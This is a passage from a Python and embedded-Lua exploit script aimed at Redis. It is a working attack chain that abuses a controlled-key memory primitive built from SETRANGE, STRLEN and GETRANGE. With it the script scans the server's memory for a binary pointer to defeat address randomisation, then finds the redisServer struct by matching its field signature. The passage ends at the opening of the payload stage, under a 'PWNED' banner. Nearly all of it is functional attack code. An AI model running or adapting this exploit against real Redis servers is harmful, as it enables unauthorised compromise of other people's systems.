| multiplier = multiplier * 256 | |
| end | |
| return result | |
| end | |
| -- Validator for binary addresses | |
| local function is_binary_ptr(read_from, addr) | |
| -- Check address is in binary range | |
| if addr <= binary_addr_min or addr >= binary_addr_max then | |
| return false | |
| end | |
| -- Check for at least 2 different bytes (diversity check) | |
| local bytes = {} | |
| local temp = addr | |
| for i = 1, 8 do | |
| bytes[i] = temp % 256 | |
| temp = math.floor(temp / 256) | |
| end | |
| local unique = {} | |
| for i = 1, 8 do | |
| unique[bytes[i]] = true | |
| end | |
| local unique_count = 0 | |
| for _ in pairs(unique) do | |
| unique_count = unique_count + 1 | |
| end | |
| if unique_count <= 2 then | |
| return false | |
| end | |
| -- Check addr & 0xFF != 0 (ubuntu false positive) | |
| if addr % 256 == 0 then | |
| return false | |
| end | |
| -- Check struct alignment: addr & 0xF in [0, 8] | |
| local addr_align = addr % 16 | |
| if addr_align ~= 0 and addr_align ~= 8 then | |
| return false | |
| end | |
| -- Check original ptr alignment: read_from & 0xF in [0, 8] | |
| local read_align = read_from % 16 | |
| if read_align ~= 0 and read_align ~= 8 then | |
| return false | |
| end | |
| return true | |
| end | |
| for idx = 0, max_iters - 1 do | |
| local cur_ptr = bytes_to_number(ptr_bytes) | |
| -- Check if we need to handle the "last_ptr - 8" region | |
| if cur_ptr <= last_ptr - 8 then | |
| -- Point controlled key to cur_ptr | |
| local ptr_string = bytes_to_string(ptr_bytes) | |
| redis.call("SETRANGE", memview_key, ptr_offset, ptr_string) | |
| -- Probe with STRLEN | |
| local cur_len = redis.call("STRLEN", controlled_key) | |
| -- Limit scan range to avoid re-scanning | |
| if cur_ptr + cur_len > last_ptr then | |
| cur_len = last_ptr - cur_ptr | |
| last_ptr = cur_ptr + 7 | |
| end | |
| if cur_len > 7 then | |
| -- Read data and search for candidates | |
| local data = redis.call("GETRANGE", controlled_key, "0", tostring(cur_len - 1)) | |
| -- Scan through data for valid pointers | |
| for i = 0, #data - 8 do | |
| local candidate = extract_u64_le(data, i) | |
| if candidate then | |
| local read_from = cur_ptr + i | |
| if is_binary_ptr(read_from, candidate) then | |
| -- Found valid candidate! | |
| return {"FOUND", candidate, read_from, idx + 1} | |
| end | |
| end | |
| end | |
| end | |
| end | |
| -- Decrement pointer | |
| decrement_bytes(ptr_bytes) | |
| end | |
| -- Exhausted max_iters without finding valid candidate | |
| return {"CONTINUE", bytes_to_number(ptr_bytes), last_ptr, max_iters} | |
| """ | |
| cur_ptr = start_addr | |
| last_ptr = start_addr | |
| total_iterations = 0 | |
| log_start("LUA-SCAN", "Using full Lua implementation for stage4 scanning") | |
| while total_iterations < max_iterations: | |
| if total_iterations % 100000 == 0: | |
| log_info("SCAN", f"scanning backwards from {cur_ptr:016x}, iteration {total_iterations}") | |
| result = ctx.redis.send_command([ | |
| "EVAL", lua_full_scan_script, "0", | |
| ctx.memview_key, | |
| ctx.controlled_key, | |
| str(ctx.controlled_ptr_offset), | |
| str(cur_ptr), | |
| str(last_ptr), | |
| str(ctx.BINARY_ADDR_MIN), | |
| str(ctx.BINARY_ADDR_MAX) | |
| ]) | |
| status = result[0].decode('utf-8') if isinstance(result[0], bytes) else result[0] | |
| if status == "FOUND": | |
| candidate = int(result[1]) | |
| read_from = int(result[2]) | |
| iterations = int(result[3]) | |
| total_iterations += iterations | |
| log_info("FOUND", f"valid address {candidate:016x} found at {read_from:016x}") | |
| log_info("STATS", f"Total iterations: {total_iterations}") | |
| return candidate | |
| elif status == "CONTINUE": | |
| cur_ptr = int(result[1]) | |
| last_ptr = int(result[2]) | |
| iterations = int(result[3]) | |
| total_iterations += iterations | |
| else: | |
| raise RuntimeError(f"[STAGE {CURRENT_STAGE}] Unexpected Lua result status: {status}") | |
| raise RuntimeError(f"[STAGE {CURRENT_STAGE}] Failed to find {description} after {total_iterations} iterations") | |
| def _stage4_scan_memory_backward_python( | |
| ctx: ExploitContext, | |
| start_addr: int, | |
| validator: callable, | |
| description: str, | |
| max_iterations: int = 1_000_000 | |
| ) -> int: | |
| """Scan backwards through memory using Python (fallback, slower).""" | |
| assert ctx.redis is not None | |
| assert ctx.controlled_key and ctx.controlled_ptr_offset is not None | |
| cur_ptr = start_addr | |
| last_ptr = start_addr | |
| for idx in range(max_iterations): | |
| if idx % 100 == 0: | |
| log_info("SCAN", f"scanning backwards from {cur_ptr:016x} to {last_ptr:016x}, iteration {idx}") | |
| if cur_ptr > last_ptr - 8: | |
| cur_ptr -= 1 | |
| continue | |
| # Point controlled key to cur_ptr | |
| ctx.redis.send_command(["SETRANGE", ctx.memview_key, str(ctx.controlled_ptr_offset), p64(cur_ptr)]) | |
| # Probe with STRLEN | |
| cur_len = int(ctx.redis.send_command(["STRLEN", ctx.controlled_key])) | |
| # Limit scan range to avoid re-scanning known regions | |
| if cur_ptr + cur_len > last_ptr: | |
| cur_len = last_ptr - cur_ptr | |
| last_ptr = cur_ptr + 7 | |
| if cur_len > 0: | |
| data = ctx.redis.send_command(["GETRANGE", ctx.controlled_key, "0", str(cur_len - 1)]) | |
| for i in range(0, len(data) - 8): | |
| candidate = int.from_bytes(data[i:i+8], "little") | |
| read_from = cur_ptr + i | |
| if validator(read_from, candidate): | |
| log_info("FOUND", f"valid address {candidate:016x} found at {cur_ptr + i:016x}") | |
| return candidate | |
| cur_ptr -= 1 | |
| raise RuntimeError(f"[STAGE {CURRENT_STAGE}] Failed to find {description} after {max_iterations} iterations") | |
| def stage4_find_binary_address(args: argparse.Namespace, ctx: ExploitContext) -> None: | |
| """ | |
| Scan backwards through memory to find a pointer into Redis binary. | |
| Problem: Redis has no "read memory at address" primitive - STRLEN needs | |
| valid SDS headers. Solution: Probe with STRLEN (returns 0 on invalid SDS, | |
| doesn't crash), scan readable regions for 64-bit values in PIE range. | |
| Two implementations: | |
| - Lua (default): Full validation server-side, faster | |
| - Python (--no-stage4-lua-helper): Per-probe scanning, easier to debug | |
| See STAGE4.md for full technical details. | |
| """ | |
| assert ctx.redis is not None, f"[STAGE {CURRENT_STAGE}] Must connect to Redis first (stage0)" | |
| assert ctx.controlled_key and ctx.controlled_ptr_offset is not None, f"[STAGE {CURRENT_STAGE}] Must complete stage3 first" | |
| assert ctx.memview_base_addr is not None, f"[STAGE {CURRENT_STAGE}] Must complete stage3 first" | |
| log_start("SCAN", f"Starting backward memory scan from {ctx.memview_base_addr:016x}") | |
| if args.no_stage4_lua_helper or args.binary_addr_skip > 0: | |
| # Python path: Traditional scanning without Lua | |
| log_info("SCAN", "Using Python implementation (Lua disabled)") | |
| good_to_skip = args.binary_addr_skip | |
| # Validator for binary addresses | |
| def is_binary_ptr(read_from: int, addr: int) -> bool: | |
| nonlocal good_to_skip | |
| good = ctx.BINARY_ADDR_MIN < addr < ctx.BINARY_ADDR_MAX | |
| good &= len(set(p64(addr))) > 2 # at least 2 different bytes | |
| good &= addr & 0xFF != 0 # ubuntu false positive | |
| good &= addr & 0xF in [0, 8] # struct alignment | |
| good &= read_from & 0xF in [0, 8] # original ptr alignment | |
| if good and good_to_skip > 0: | |
| good_to_skip -= 1 | |
| log_error(f"Skipping binary address {addr:016x} (good_to_skip={good_to_skip})") | |
| return False | |
| return good | |
| ctx.binary_ptr = _stage4_scan_memory_backward_python( | |
| ctx, | |
| ctx.memview_base_addr, | |
| is_binary_ptr, | |
| "binary address" | |
| ) | |
| else: | |
| # Lua path: Full implementation in Lua | |
| log_info("SCAN", "Using Lua implementation (full validation in Lua)") | |
| ctx.binary_ptr = _stage4_scan_memory_backward_lua( | |
| ctx, | |
| ctx.memview_base_addr, | |
| "binary address" | |
| ) | |
| log_milestone("FOUND", f"Binary address found: {ctx.binary_ptr:016x}") | |
| ############################################################################### | |
| # Stage 5: Locate Server Struct | |
| ############################################################################### | |
| def _stage5_is_heap_address(ctx: ExploitContext, addr: int) -> bool: | |
| """Check if address is in heap range.""" | |
| return ctx.HEAP_ADDR_MIN < addr < ctx.HEAP_ADDR_MAX | |
| def _stage5_validate_server_struct_candidate(ctx: ExploitContext, data: bytes, i: int) -> bool: | |
| """ | |
| Validate 8 fields of potential redisServer struct. | |
| Expected layout: | |
| [0] PID (nonzero, < 2^32) | |
| [1] Heap address (thread handle) | |
| [2] NULL or heap address (config file path) | |
| [3] Heap address (executable) | |
| [4] Heap address (argv array) | |
| [5] Nonzero with specific bit pattern (dynamic hz) | |
| [6] Nonzero with specific bit pattern (config hz) | |
| [7] (unused in validation) | |
| """ | |
| fields = [] | |
| for idx in range(8): | |
| field = int.from_bytes(data[i+idx*8:i+(idx+1)*8], "little", signed=False) | |
| fields.append(field) | |
| # Validate each field | |
| checks = [ | |
| fields[0] != 0 and fields[0] < 2 ** 32, # PID | |
| _stage5_is_heap_address(ctx, fields[1]), # thread handle | |
| fields[2] == 0 or _stage5_is_heap_address(ctx, fields[2]), # config file (optional) | |
| _stage5_is_heap_address(ctx, fields[3]), # executable | |
| _stage5_is_heap_address(ctx, fields[4]), # argv array | |
| fields[5] != 0 and (fields[5] & 0xFFFF00000FFFF0000) == 0, # dynamic hz | |
| fields[6] != 0 and (fields[6] & 0xFFFF00000FFFF0000) == 0, # config hz | |
| ] | |
| if all(checks): | |
| log_debug("VALIDATE", f"Server struct candidate validated:") | |
| for idx, field in enumerate(fields): | |
| log_debug("FIELD", f" server[{idx}] = {field:016x}") | |
| return True | |
| return False | |
| def _stage5_locate_server_struct_lua(ctx: ExploitContext) -> Tuple[int, int]: | |
| """Scan for redisServer struct using Lua with state machine. | |
| Uses state machine to avoid Lua timeout: tracks (ptr, scan_len, pos) | |
| across calls. Returns both struct address and readable pointer | |
| (struct address may not have valid SDS header). | |
| """ | |
| log_start("LUA-SCAN", "Using full Lua implementation for stage5 server struct scanning") | |
| # Lua script with proper state tracking for large readable regions | |
| lua_server_scan_script = """ | |
| local memview_key = ARGV[1] | |
| local controlled_key = ARGV[2] | |
| local ptr_offset = tonumber(ARGV[3]) | |
| local max_iters = 1000 | |
| local chunk_size = 4096 -- Match Python's chunk size | |
| -- State: ptr (8 bytes), scan_len (number), pos (number) | |
| local ptr = {} | |
| for i = 1, 8 do | |
| ptr[i] = string.byte(ARGV[4], i) | |
| end | |
| local scan_len = tonumber(ARGV[5]) -- 0 means need to probe | |
| local pos = tonumber(ARGV[6]) -- current position within readable region | |
| -- Helper to convert byte array to string | |
| local function ptr_to_str(p) | |
| local s = "" | |
| for i = 1, 8 do | |
| s = s .. string.char(p[i]) | |
| end | |
| return s | |
| end | |
| -- Increment byte array by amount (base-256 arithmetic) | |
| local function ptr_add(p, amount) | |
| local carry = amount | |
| for i = 1, 8 do | |
| local sum = p[i] + carry | |
| p[i] = sum % 256 | |
| carry = math.floor(sum / 256) | |
| if carry == 0 then break end | |
| end | |
| end | |
| -- Check if 8 bytes at offset are a heap/mmap address (byte-level check) | |
| -- Heap/mmap addresses: 0x00006X-0x00007X range (covers heap, mmap, libraries) | |
| -- In little-endian: bytes[8]=0, bytes[7]=0, bytes[6] in [0x60..0x7f] | |
| local function is_heap_bytes(data, offset) | |
| local b8 = string.byte(data, offset + 8) -- MSB (byte index 7, 0-based) | |
| local b7 = string.byte(data, offset + 7) -- byte index 6 | |
| local b6 = string.byte(data, offset + 6) -- byte index 5 | |
| if not b8 or not b7 or not b6 then return false end | |
| if b8 ~= 0 then return false end | |
| if b7 ~= 0 then return false end | |
| -- byte[5] should be 0x60-0x7f for heap/mmap addresses | |
| -- This excludes PIE binary (0x55-0x56) and other ranges | |
| if b6 < 0x60 or b6 > 0x7f then return false end | |
| return true | |
| end | |
| -- Check if 8 bytes are all zero | |
| local function is_zero_bytes(data, offset) | |
| for i = 1, 8 do | |
| local b = string.byte(data, offset + i) | |
| if not b or b ~= 0 then return false end | |
| end | |
| return true | |
| end | |
| -- Check PID field: nonzero in low 4 bytes, zero in high 4 bytes | |
| local function is_valid_pid(data, offset) | |
| -- High 4 bytes must be zero | |
| for i = 5, 8 do | |
| local b = string.byte(data, offset + i) | |
| if not b or b ~= 0 then return false end | |
| end | |
| -- Low 4 bytes must have at least one nonzero | |
| local has_nonzero = false | |
| for i = 1, 4 do | |
| local b = string.byte(data, offset + i) | |
| if not b then return false end | |
| if b ~= 0 then has_nonzero = true end | |
| end | |
| return has_nonzero | |
| end | |
| -- Check hz field: nonzero, bits 16-31 and 48-63 must be zero | |
| -- In little-endian bytes: | |
| -- bytes 1-2 = bits 0-15 (can be anything) | |
| -- bytes 3-4 = bits 16-31 (must be zero) | |
| -- bytes 5-6 = bits 32-47 (can be anything) | |
| -- bytes 7-8 = bits 48-63 (must be zero) | |
| local function is_valid_hz(data, offset) | |
| -- Bytes 3-4 (bits 16-31) must be zero | |
| local b3 = string.byte(data, offset + 3) | |
| local b4 = string.byte(data, offset + 4) | |
| if not b3 or not b4 then return false end | |
| if b3 ~= 0 or b4 ~= 0 then return false end | |
| -- Bytes 7-8 (bits 48-63) must be zero | |
| local b7 = string.byte(data, offset + 7) | |
| local b8 = string.byte(data, offset + 8) | |
| if not b7 or not b8 then return false end | |
| if b7 ~= 0 or b8 ~= 0 then return false end | |
| -- Must be nonzero overall | |
| local has_nonzero = false | |
| for i = 1, 8 do | |
| local b = string.byte(data, offset + i) | |
| if b and b ~= 0 then has_nonzero = true; break end | |
| end | |
| return has_nonzero | |
| end | |
| -- Validate server struct at offset in data (all byte-level) | |
| local function validate(data, offset) | |
| -- Need 64 bytes (8 fields * 8 bytes) | |
| if offset + 64 > #data then return false end | |
| -- Field 0: PID (nonzero 32-bit value) | |
| if not is_valid_pid(data, offset) then return false end | |
| -- Field 1: heap address | |
| if not is_heap_bytes(data, offset + 8) then return false end | |
| -- Field 2: NULL or heap | |
| if not is_zero_bytes(data, offset + 16) and not is_heap_bytes(data, offset + 16) then | |
| return false | |
| end | |
| -- Field 3: heap (executable) | |
| if not is_heap_bytes(data, offset + 24) then return false end | |
| -- Field 4: heap (argv) | |
| if not is_heap_bytes(data, offset + 32) then return false end | |
| -- Field 5: hz pattern | |
| if not is_valid_hz(data, offset + 40) then return false end | |
| -- Field 6: hz pattern | |
| if not is_valid_hz(data, offset + 48) then return false end | |
| return true | |
| end | |
| for iter = 0, max_iters - 1 do | |
| -- If scan_len is 0, we need to probe the current ptr | |
| if scan_len == 0 then | |
| -- Set pointer to current ptr | |
| redis.call("SETRANGE", memview_key, ptr_offset, ptr_to_str(ptr)) | |
| -- Get length of readable region | |
| scan_len = redis.call("STRLEN", controlled_key) | |
| -- Invalid region, advance by 1 and reset | |
| if scan_len <= 0 then | |
| ptr_add(ptr, 1) | |
| scan_len = 0 | |
| pos = 0 | |
| else | |
| pos = 0 -- Start scanning from beginning | |
| end | |
| end | |
| -- If we have a valid scan_len, read and scan a chunk | |
| if scan_len > 0 and pos < scan_len then | |
| local end_pos = math.min(pos + chunk_size, scan_len) | |
| local data = redis.call("GETRANGE", controlled_key, tostring(pos), tostring(end_pos - 1)) | |
| -- Search for server struct in this chunk | |
| for i = 0, #data - 64 do | |
| if validate(data, i) then | |
| -- Found! Calculate absolute address | |
| local result_ptr = {} | |
| for j = 1, 8 do result_ptr[j] = ptr[j] end | |
| ptr_add(result_ptr, pos + i) | |
| return {"FOUND", ptr_to_str(result_ptr), ptr_to_str(ptr), iter + 1} | |
| end | |
| end | |
| -- Advance position within this readable region | |
| pos = end_pos | |
| -- If we've exhausted this region, advance ptr and reset | |
| if pos >= scan_len - 64 then | |
| ptr_add(ptr, math.max(scan_len - 64, 1)) | |
| scan_len = 0 | |
| pos = 0 | |
| end | |
| end | |
| end | |
| -- Return state for continuation | |
| return {"CONTINUE", ptr_to_str(ptr), max_iters, tostring(scan_len), tostring(pos)} | |
| """ | |
| scan_ptr = ctx.binary_ptr | |
| scan_len = 0 # 0 means need to probe | |
| pos = 0 # position within current readable region | |
| total_iterations = 0 | |
| max_total_iterations = 100000000 | |
| while total_iterations < max_total_iterations: | |
| if total_iterations % 1000 == 0: | |
| log_info("SCAN", f"ptr={scan_ptr:016x}, scan_len={scan_len}, pos={pos}, iter={total_iterations}") | |
| # Pass full state to Lua | |
| result = ctx.redis.send_command([ | |
| "EVAL", lua_server_scan_script, "0", | |
| ctx.memview_key, | |
| ctx.controlled_key, | |
| str(ctx.controlled_ptr_offset), | |
| p64(scan_ptr), # Current pointer | |
| str(scan_len), # Current scan length (0 = need probe) | |
| str(pos) # Current position in readable region | |
| ]) | |
| status = result[0].decode('utf-8') if isinstance(result[0], bytes) else result[0] | |
| if status == "FOUND": | |
| struct_addr = u64(result[1]) | |
| readable_ptr = u64(result[2]) | |
| iterations = int(result[3]) | |
| total_iterations += iterations | |
| log_milestone("FOUND", f"Server struct found and validated at {struct_addr:016x}") | |
| log_debug("PTR", f"Readable via pointer: {readable_ptr:016x}, offset: {struct_addr - readable_ptr:016x}") | |
| log_info("STATS", f"Total iterations: {total_iterations}") | |
| return struct_addr, readable_ptr | |
| elif status == "CONTINUE": | |
| scan_ptr = u64(result[1]) | |
| iterations = int(result[2]) | |
| scan_len = int(result[3]) | |
| pos = int(result[4]) | |
| total_iterations += iterations | |
| else: | |
| raise RuntimeError(f"[STAGE {CURRENT_STAGE}] Unexpected Lua result status: {status}") | |
| raise RuntimeError(f"[STAGE {CURRENT_STAGE}] Failed to find server struct after {total_iterations} iterations") | |
| def _stage5_locate_server_struct_python(ctx: ExploitContext) -> Tuple[int, int]: | |
| """Scan for redisServer struct using Python (fallback, slower).""" | |
| log_start("SCAN", f"Starting server struct scan from binary address {ctx.binary_ptr:016x}") | |
| memview_key = ctx.memview_key | |
| controlled_key = ctx.controlled_key | |
| controlled_ptr_offset = ctx.controlled_ptr_offset | |
| scan_start_addr = ctx.binary_ptr | |
| scan_ptr = scan_start_addr | |
| iterations = 0 | |
| while True: | |
| iterations += 1 | |
| log_debug("PROGRESS", f"Scanning at {scan_ptr:016x}, iteration {iterations}") | |
| ctx.redis.send_command(["SETRANGE", memview_key, str(controlled_ptr_offset), p64(scan_ptr)]) | |
| scan_len = int(ctx.redis.send_command(["STRLEN", controlled_key])) | |
| if scan_len <= 0 or scan_len >= 1 << 63: | |
| scan_ptr += 1 | |
| continue | |
| max_read = 4096 | |
| pos = 0 | |
| while pos < scan_len: | |
| end_pos = min(pos + max_read, scan_len) | |
| data = ctx.redis.send_command(["GETRANGE", controlled_key, str(pos), str(end_pos - 1)]) | |
| for i in range(0, len(data) - 64): | |
| struct_candidate_addr = scan_ptr + pos + i | |
| if _stage5_validate_server_struct_candidate(ctx, data, i): | |
| log_milestone("FOUND", f"Server struct found and validated at {struct_candidate_addr:016x}") | |
| log_debug("PTR", f"Readable via pointer: {scan_ptr:016x}, offset: {struct_candidate_addr - scan_ptr:016x}") | |
| return struct_candidate_addr, scan_ptr | |
| pos = end_pos | |
| scan_ptr += max(scan_len - 64, 1) | |
| def stage5_locate_server_struct(args: argparse.Namespace, ctx: ExploitContext) -> None: | |
| """ | |
| Find redisServer struct by field signature matching. | |
| Scans binary data section for 7-field signature: PID (32-bit non-zero), | |
| thread handle (heap), configfile (NULL or heap), executable (heap), | |
| argv (heap), and two small hz values. | |
| Returns two values: struct address and readable pointer (needed for stage7 | |
| because struct address itself may not have valid SDS header). | |
| Two implementations: | |
| - Lua (default): Uses state machine to avoid timeout, faster | |
| - Python (--no-stage5-lua-helper): Per-probe scanning | |
| See STAGE5.md for full technical details. | |
| """ | |
| assert ctx.redis is not None, f"[STAGE {CURRENT_STAGE}] Must connect to Redis first (stage0)" | |
| assert ctx.binary_ptr is not None, f"[STAGE {CURRENT_STAGE}] Must complete stage4 first" | |
| if args.no_stage5_lua_helper: | |
| log_info("SCAN", "Using Python implementation (Lua disabled)") | |
| ctx.server_struct_addr, ctx.server_readable_ptr = _stage5_locate_server_struct_python(ctx) | |
| else: | |
| log_info("SCAN", "Using Lua implementation") | |
| ctx.server_struct_addr, ctx.server_readable_ptr = _stage5_locate_server_struct_lua(ctx) | |
| ############################################################################### | |
| # Stage 6: Construct Payload | |
| ############################################################################### | |
| def _stage6_create_additional_payload(args: argparse.Namespace, ctx: ExploitContext): | |
| RED = "\033[31m" | |
| RESET = "\033[0m" | |
| banner = f""" | |
| ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣀⣀⣠⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ | |
| ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠋⠉⠁⠀⠀⠀⠀⠀⠉⠓⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ | |
| ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ | |
| ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠞⢉⡳⡜⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ | |
| ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠃⢀⡾⣷⢹⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ | |
| ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠀⢸⢃⣼⣾⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣆⠀⠀⠀⠀⢀⣀⡀⠀⠀⠀⠀ | |
| ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢾⣦⣈⣹⠿⠹⣆⠀⠀⠀⠀⠀⠀⢀⡤⠖⠚⠉⠿⡿⣿⣿⣷⣶⣤⣤⣞⣦⠀⠀⢠⠞⠁⣿⠀⠀⠀⠀ | |
| ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠃⠀⠈⢷⡀⠉⠓⠀⠀⠀⠀⢠⡟⠀⠀⠀⠀⣋⣁⣀⣀⡉⠛⠯⣬⣥⠾⠻⣶⡋⠀⠀⣏⠀⠀⠀⠀ | |
| ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡼⠃⠀⠀⠀⣨⡇⠀⠀⠀⠀⠀⠀⠸⠀⠀⠀⣴⣿⠟⠋⠉⠛⠿⣷⡄⠀⠀⠀⠀⣠⣭⣄⠀⣷⠀⠀⠀⠀ | |
| ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⠟⠁⠀⠀⠀⠀⠀⠹⣷⠀⠀⢠⣾⡟⠹⡏⠉⠁⠀⠀⠀⠀ | |
| ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⡀⠀⠀⠀⠿⠀⠀⣸⠋⠀⠀⡇⠀⠀⠀⠀⠀⠀ | |
| ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⡀⠤⢤⡤⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣘⣉⣉⡙⣆⠀⠀⠀⠀⣰⡷⠤⢤⣠⠇⠀⠀⠀⠀⠀⠀ | |
| ⠀⠀⠀⠀⠀⠀⠀⢀⣠⠴⠛⠉⢁⣀⠤⠞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡆⠀⢯⡁⠀⢰⣿⡏⠀⠀⠀⢠⣿⠿⢒⣶⠃⠀⠀⠀⠀⠀⠀⠀ | |
| ⠀⠀⠀⠀⠀⣠⡴⠋⠀⢀⣤⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢦⡈⠛⠤⣤⠝⠁⠀⠀⠀⣿⣷⡄⠸⣿⡆⠀⠀⠀⠀⠀⠀⠀ | |
| ⠀⠀⠀⣠⠞⠋⠀⠀⢀⣾⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠓⠒⠛⠀⠀⠀⠀⠀⠙⢿⣿⣷⡇⣷⡀⠀⠀⠀⠀⠀⠀ | |
| ⠤⠴⠚⠁⠀⠀⠀⠀⡞⠙⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠀⠀⠀⠀⠀⠀⠻⣄⠀⣿⢳⡀⠀⠀⠀⠀⠀ | |
| ⠀⠀⠀⠀⠀⠀⠀⠀⢷⢰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡾⠉⠀⠀⠀⠀⠀⠀⠀⢸⡇⡇⠈⢷⠀⠀⠀⠀⠀ | |
| ⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡀⣠⣤⡀⠀⠀⠀⠀⠀⣼⢷⡇⠀⠈⡆⠀⠀⠀⠀ {RED}P W N E D{RESET} | |
| ⡀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠙⠛⠻⢿⣄⠀⠀⢀⡴⣫⡾⠀⠀⠀⢷⡄⠀⠀⠀ | |
| ⢳⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⢿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠞⠋⠀⠀⠀⠀⠀⠀⠈⠉⠉⠉⣴⠛⠀⠀⠀⠀⢸⠳⣄⠀⠀ | |
| ⠈⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⣇⢳⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡇⠀⠀⠀⠀⠀⣼⠄⠹⡄⠀ {RED}B Y{RESET} | |
| ⠀⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣆⠻⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⠃⠀⠀⠀⠀⠀⡟⠀⠀⡇⠀ | |
| ⠀⢸⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣦⢹⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⡏⠀⠐⠒⠒⠒⠒⠒⠒⠦⢤⣀⣀⣀⣠⣰⠃⠀⠀⠀⠀⠀⠀⡇⠀⠀⢹⠀ | |
| ⠀⠘⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣆⠻⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠇⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⢸⠂ {RED}Emil Lerner{RESET} | |
| ⠀⠀⢱⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣇⢹⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⠏⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⢸⡆ | |
| ⠀⠀⠸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢦⠹⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⢸⠇ | |
